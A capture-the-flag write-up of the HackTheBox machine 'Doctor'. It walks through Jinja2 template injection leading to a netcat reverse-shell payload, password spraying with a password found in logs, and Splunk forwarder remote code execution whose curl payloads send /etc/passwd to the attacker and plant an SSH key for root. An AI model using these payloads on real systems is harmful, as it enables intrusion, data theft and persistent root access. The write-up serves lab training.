CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Doctor

linux burp-suite ssti splunk-forwarder rce

Doctor is a Linux-based machine authored by egotisticalSW, with an average rating of 4.0 stars.

// Lessons Learned

  1. Any kind of reflection should always be thoroughly investigated. If you see your input displayed on the screen, try all injection techniques - command, ssti etc.
  2. linPEAS output should be treated like a fine novel - grab a coffee, and take your time. Sometimes it’s the seemingly mundane things (like log entries) that prove the most useful

// Recon

┌──(kali㉿kali)-[~]
└─$ nmap -A -p- doctor.htb    
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-12 09:04 AEST
Nmap scan report for doctor.htb (10.10.10.209)
Host is up (0.041s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
|_http-title: splunkd
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.11 seconds

Nmap reveals this machine is running several services:

Accessing the web server on port 80 via a browser, we’re presented with an in-development website for a medical practice:

BurpSuite Proxy reveals that the site loads a number of third-party JavaScript libraries (jQuery, bootstrap, popper etc.). Manual inspection of the site’s source (often a great way to discover sensitive information leaked via leftover comments) confirms the site is largely still undeveloped, with most links inactive (href=#) or pointing to urls that load the same content as the homepage (departments.html, about.html, blog.html etc.) There’s no indication of a CMS platform such as WordPress being used, but we can still check for additional content using gobuster and some generic SecLists wordlists:

gobuster dir -u http://doctor.htb/ -w ./Discovery/Web-Content/common.txt
gobuster dir -u http://doctor.htb/ -w ./Discovery/Web-Content/raft-medium-files.txt
gobuster dir -u http://doctor.htb/ -w ./Discovery/Web-Content/raft-medium-directories.txt

None of these searches reveals any new or interesting content, but after scanning the homepage several times something caught my eye:

The middle card of the contact details carousel provides the email address, info@doctors.htb. By convention, most HTB machines are accessed at their official machine name, within the .htb domain. So far we’ve been accessing the machine via doctor.htb.. I wonder what would happen if we tried accessing it at doctors.htb?

It turns out there is a administrative console available at this second hostname, that also conveniently supplies a new user registration form! We just have to supply a username, email and password and we’ll have an account:

// Initial Foothold

Our new account will be active for a whole twenty minutes? We better get busy! Exploring the basic functionality of the console reveals forms to create and edit posts, as well as view and edit our account. There aren’t any more visible links in the console, but viewing the source for any page reveals an interesting tag commented out:

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

It seems that there is an additional url, /archive, available. Visiting this url returns a blank page, but viewing source here again is helpful:

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>

It looks like an in-development RSS feed, but there currently isn’t any data. Let’s create a basic post and see what happens:

If we then reload /archive:

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>test</title></item>

</channel>

Our new post’s title now appears as an item in the feed. From a security perspective, whenever a website displays user input like this, it is loosely referred to as reflection. Reflection of content is a fundamental feature common to many interactive systems, but it opens up a site to a whole array of potential security issues, both on the client-side (e.g. cross-site scripting, cross-site request forgery etc.) and on the server-side (such as server-side template injection or ‘ssti’, command injection etc.) To understand what might be possible, we’ll need to identify the web technology being used to host the site. Checking the Burp Proxy logs for the responses we have received so far offers us a clue:

Server: Werkzeug/1.0.1 Python/3.8.2

Werkzeug is a lightweight, python-based webserver, that offers a large number of customisation options to the administrator (template engine, database adaptor etc.) Searching Google for “werkzeug ssti” reveals a number of hits, explaining how to exploit Werkzeug when it’s combined with jinja2, a popular python-based templating engine. Essentially, jinja allows html templates to be written with control flow statements inside \{\{ and \}\} tags, to make use of variables, looping structures etc. But they can also be used to execute logic, such as:

<p>{{7 + 7}}</p>

Without jinja, the above code included in an html file would output exactly as it’s written. But when jinja interprets the templates, it will treat the content between the braces as code to execute, outputting instead the answer:

<p>14</p>

Unsurprisingly, this feature has often been abused to execute malicious code. The first step is to confirm if the site is vulnerable, by editing our post’s title from title to title {{7 + 7}}. When we reload the /archive page and view the source, we see infact the code has been executed:

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>title 14</title></item>

</channel>

This article does an excellent job of explaining how to take this vulnerability from interesting to impactful. Essentially, we need to construct a template string that will load the necessary python libraries to allow us to execute code of our choosing. If we change the post’s title to the following string:


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

we get back a response in the archive feed indicating the username that the webserver is running as (the typical output of the id command on a Unix-based system):

<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
</title></item>

</channel>

With code execution confirmed, we can easily setup a listener on our attack box using penelope:

┌──(penelope)─(kali㉿kali)-[/github/brightio/penelope]
└─$ python penelope.py 443                             
[+] Listening for reverse shells on 0.0.0.0 🚪443

and then modify our post title to connect back using netcat (in this case the target is running the OpenBSD variant, which does not support the -e flag, so we need to use a special comaptible payload):


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('mkfifo /tmp/lol;nc 10.10.17.230 443 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol').read() }}

and when we reload /archive, penelope catches our shell:

[+] Got reverse shell from 🐧 doctor.htb~10.10.10.209 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/doctor.htb~10.10.10.209/doctor.htb~10.10.10.209.log 📜
web@doctor:~$

We now have a shell as the web user. Not just a raw shell, but a real assigned /bin/bash shell, which is unusual for a web account. Some manual exploring & enumeration reveals that the user.txt key belongs to the shaun user and is located in their home directory, so we’ll need to move laterally first to access that. Uploading and running linPEAS reveals a number of interesting findings:

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31
(see Unintended Shortcuts section for more details!)
...
╔══════════╣ Environment
╚ Any private information inside environment variables?                                                                                                                                           
LESSOPEN=| /usr/bin/lesspipe %s
HISTFILESIZE=0
LC_TIME=de_DE.UTF-8
SECRET_KEY=1234
...
╔══════════╣ Cleaned processes          
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root         347  0.0  0.0   2488   520 ?        S    Apr12   0:00  _ bpfilter_umh
...
root        1155  0.0  2.2 263872 90024 ?        Sl   Apr12   2:40 splunkd -p 8089 start
...
╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab                      
# Edit this file to introduce tasks to be run by cron.
# 
...
# 
# m h  dom mon dow   command
@reboot /home/web/blog.sh
...
════════════════════════════════════╣ Network Information ╠════════════════════════════════════
╔══════════╣ Hostname, hosts and DNS
doctor                                                                                                                                                                                            
127.0.0.1       localhost
127.0.1.1       brawl

::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

nameserver 127.0.0.53
options edns0
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8089            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -
...
╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2
                                                                                                                                                                                                  
[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin

╔══════════╣ Users with console
root:x:0:0:root:/root:/bin/bash    
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
web:x:1001:1001:,,,:/home/web:/bin/bash
...
╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
uid=1003(splunk) gid=1003(splunk) groups=1003(splunk)
...
╔══════════╣ Searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd       
passwd file: /etc/passwd
passwd file: /opt/splunkforwarder/etc/passwd
passwd file: /snap/core18/1705/etc/pam.d/passwd
passwd file: /snap/core18/1705/etc/passwd
passwd file: /snap/core18/1705/usr/share/bash-completion/completions/passwd
passwd file: /snap/core18/1705/usr/share/lintian/overrides/passwd
passwd file: /snap/core18/1705/var/lib/extrausers/passwd
passwd file: /snap/core18/1880/etc/pam.d/passwd
passwd file: /snap/core18/1880/etc/passwd
passwd file: /snap/core18/1880/usr/share/bash-completion/completions/passwd
passwd file: /snap/core18/1880/usr/share/lintian/overrides/passwd
passwd file: /snap/core18/1880/var/lib/extrausers/passwd
passwd file: /usr/share/bash-completion/completions/passwd
passwd file: /usr/share/lintian/overrides/passwd
...
╔══════════╣ Analyzing Interesting logs Files (limit 70)
-rw-r----- 1 root adm 9345 Apr 14 00:45 /var/log/apache2/access.log

-rw-r----- 1 root adm 239 Apr 14 00:00 /var/log/apache2/error.log
...
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:                       
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8 = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
...
╔══════════╣ Finding passwords inside logs (limit 70)
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
...

LinPEAS reveals to us:

The possible splunk aggregator on port 8000 is intially most interesting here, given that we’ve already found a forwarder running on the box. Unfortunately we can’t retrieve details of the process that is listening on that port, due to insufficient permissions. Installing chisel on the machine and forwarding traffic across the tunnel to this port also doesn’t help - we can connect, but the server doesn’t respond to typical HTTP style requests:

┌──(kali㉿kali)-[~]
└─$ telnet localhost 8000    
Trying ::1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP.1.0
Host: doctor.htb

...<no response>

UPDATE - returning to this box after a break over the weekend, it seemed that the service listening on port 8000 was gone. It’s possible that this had been spawned by someone else attempting to root the machine, either way it doesn’t seem like there was ever a Splunk aggregator running on the target.. ¯\_(ツ)_/¯

In a similar way, we can forward port 8089 across chisel, to fool the target into thinking we’re accessing the splunk forwarder interface locally. This can sometimes result in access through more lax restrictions on the target - but in this case the authentication requirements remain the same.

In the /home/web directory, we discover a config.py file that may contain some credentials:

web@doctor:~/blog/flaskblog$ cat config.py 
import os

class Config:
    SECRET_KEY = os.environ.get('SECRET_KEY')
    WTF_CSRF_CHECK_DEFAULT = False
    SQLALCHEMY_DATABASE_URI = os.environ.get('SQLALCHEMY_DATABASE_URI')
    MAIL_SERVER = ''
    MAIL_PORT = 587
    MAIL_USE_TLS = True
    MAIL_USERNAME = "doctor"
    MAIL_PASSWORD = "doctor"

Trying doctor / doctor (as well as other known usernames with the password doctor) against ssh, splunk forwarder etc. comes up empty. Digging further into the /home/web/blog folder also reveals a sqlite database, site.db, which we can download to our attack box and interrogate:

┌──(kali㉿kali)-[/HTB/doctor]
└─$ sqlite3 site.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
post  user
sqlite> select * from post;
1|Doctor blog|2020-09-18 20:48:37.55555|A free blog to share medical knowledge. Be kind!|1
sqlite> select * from user;
1|admin|admin@doctor.htb|default.gif|$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

There is a hashed password for the admin user, but given that Flask/Werkzeug uses bcrypt hashing, cracking it using a tool like hashcat is likely to be computationally infeasible.

Finally, linPEAS revealed an interesting entry inside the web server logs:

╔══════════╣ Finding passwords inside logs (limit 70)
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password" 

Users will sometimes mistakenly enter their password into what they think is a password field, when infact it is intended for something else (in this case an email field). This results in the password being logged as a querystring parameter. Using the same password spraying approach as before, we can shop this password around to the various authentication services we’ve discovered, against usernames we’ve also found. Eventually, we discover the combination shaun / Guitar123 will authenticate us to the password-protected /services endpoint in the Splunk forwarder console:

It turns out that shaun, like many users, engages in password re-use, so we can use the same credentials to change to his account and access the user flag:

web@doctor:~$ su shaun
Password: Guitar123
shaun@doctor:/home/web$ cat ~/user.txt
67c73***************************

// Privilege Escalation

LinPEAS has already given us an indication of what privesc vectors are available, but we should still check whether the shaun account provides any easy paths to root, such as via sudo:

shaun@doctor:/home/web$ sudo -l
[sudo] password for shaun: 
Sorry, user shaun may not run sudo on doctor.

Nothing found here, but we still have Shaun’s access to the Splunk forwarder UI. So what is Splunk, and what exactly is a Splunk Forwarder? Essentially, Splunk is an enterprise data platform that enables aggregation, monitoring and analysis of logging data. While a single server’s logs can easily be managed as locally-stored files, this quickly becomes unmanageable with a large number of servers. Splunk provides an “agent” (forwarder) that can be installed on a machine and facilitiates remote logging over a network, enabling the logs of many servers and services to be kept in a single location (this is the aggregation aspect). Further, in certain contexts, logging data only makes sense or has value when enriched with the context from other data sources. For example, looking for signs of intrusion in a server’s firewall logs may only yield meaningful results when that data can be viewed alongside the server’s access logs, or across a number of servers’ data at once, or over an extended period of time etc. These are the monitoring and analysis aspects that Splunk enables. A forwarder (or Universal Forwarder (UF) in Splunk terminology) has the job of sending logging data to the central server. Splunk tries to make this simple to configure by using a Splunk Deployment Server (DS) that can supply the forwarder with configuration and “apps” to handle different logging setups. Unfortunately there is very little in the way of security implementation between the UF and the DS, meaning that a UF fooled into accepting instructions from a rogue DS can be instructed to do pretty much anything, including execute malicious code. The PySplunkWhisperer2 project on GitHub provides a simple script to exploit this, either remotely or locally. In our case we’ll use the remote version, with a payload that initially confirms remote code execution is possible (in this case by returning the contents of /etc/passwd to a netcat listener on our attack box:)

┌──(kali㉿kali)-[/github/cnotin/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python PySplunkWhisperer2_remote.py --host doctor.htb --port 8089 --lhost 10.10.17.230 --lport 8990 --username shaun --password Guitar123 --payload "curl -F 'data=@/etc/passwd' http://10.10.17.230:8989"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpsvl1dy_y.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.17.230:8990/
10.10.10.209 - - [20/Apr/2022 09:14:14] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!

Sure enough, our listener receives the contents of the requested file, confirming RCE:

┌──(kali㉿kali)-[/mnt/…/VMWare-shared/github/brightio/penelope]
└─$ nc -lvnp 8989
listening on [any] 8989 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.209] 44854
POST / HTTP/1.1                     
Host: 10.10.17.230:8989                    
User-Agent: curl/7.68.0             
Accept: */*                         
Content-Length: 3170                   
Content-Type: multipart/form-data; boundary=------------------------7ec12bb5a192bcfb                                                                                            
Expect:100-continue                                                                                                                                                      
--------------------------7ec12bb5a192bcfb                                                                                                   
Content-Disposition: form-data; name="data"; filename="passwd"
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

We already know from checking the processlist that splunkd is running as root, but let’s confirm anyway with a new payload:

└─$ python PySplunkWhisperer2_remote.py --host doctor.htb --port 8089 --lhost 10.10.17.230 --lport 8990 --username shaun --password Guitar123 --payload "`echo whoami` | curl -F ':data=@-' http://10.10.17.230:8989"
...

and our listener receives confirmation:

--------------------------9a6504c6427573c6
Content-Disposition: form-data; name=":data"; filename="-"

root

--------------------------9a6504c6427573c6--

Since we’re able to execute code as root, we can easily put our ssh key into /root/.ssh/authorized_keys with a neat one-liner, that should allow us to ssh in as root:

└─$ python PySplunkWhisperer2_remote.py --host doctor.htb --port 8089 --lhost 10.10.17.230 --lport 8990 --username shaun --password Guitar123 --payload "mkdir /root/.ssh && touch /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDosrQhocCXDyHCWnwyz2rTX46g6wocjC6lg+niNvohsHigqD6wtEAWdPkmR9Ek+BfE9qxT89mCs0Ta4zmdCK5PuOrc5SNfiqNYMccdmZVP92JTWeDmUbRnKIzLfX7pd/MWaMhz5ThbmiGYyIYpPXuESvhW3y3tbAgxHJ2ZrzRplPE7r81dZUF4d+LmNJBGRvwtzl/N9WZw71a1snfz4WuVXnlg8ZOk1upPjrflD1UnmzlT1orOFXB1FhFhdwHdL52yGu9/uZa+w5Oc9x8pteZamFjggNpYuqWpPgr3D/RwiUwHFIcJ5NxXLfcpWiAKqwo+oksrWBYeVU3EbRwgKnrtwJJaj9zc8OlJIlBlJt8UtVnN2LYI1Gc3Tkmd2npKiTQrtjIeePK0sxJsqk7MyFMB0bP/EgdQHdxoyk99jFkwhcs7ZB/LdkrSEhU7Z8uhcVmya3LU2nSU57UcX/FCO7goZQXG5Po2hBYIaV6pA0fn9gGyw9KTbQifZqvEVh5PQps= kali@kali' >> /root/.ssh/authorized_keys"

From our attack box, we can now log in as root and access root.txt:

┌──(kali㉿kali)-[~]
└─$ ssh root@doctor.htb 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


76 updates can be installed immediately.
36 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Sep 28 15:02:50 2020 from 10.10.14.2
root@doctor:~# cat ~/root.txt
2c421***************************

// Modern-Day Shortcut

A vulnerability in Sudo 1.8.31 was discovered in early 2021 that allowed a root shell to be spawned by taking advantage of a Heap-Based Buffer Overflow in Sudo (Baron Samedit). This only requires installation and running of the PoC exploit:

web@doctor:/tmp/sudo-exploit$ ./exploit
# whoami
root
#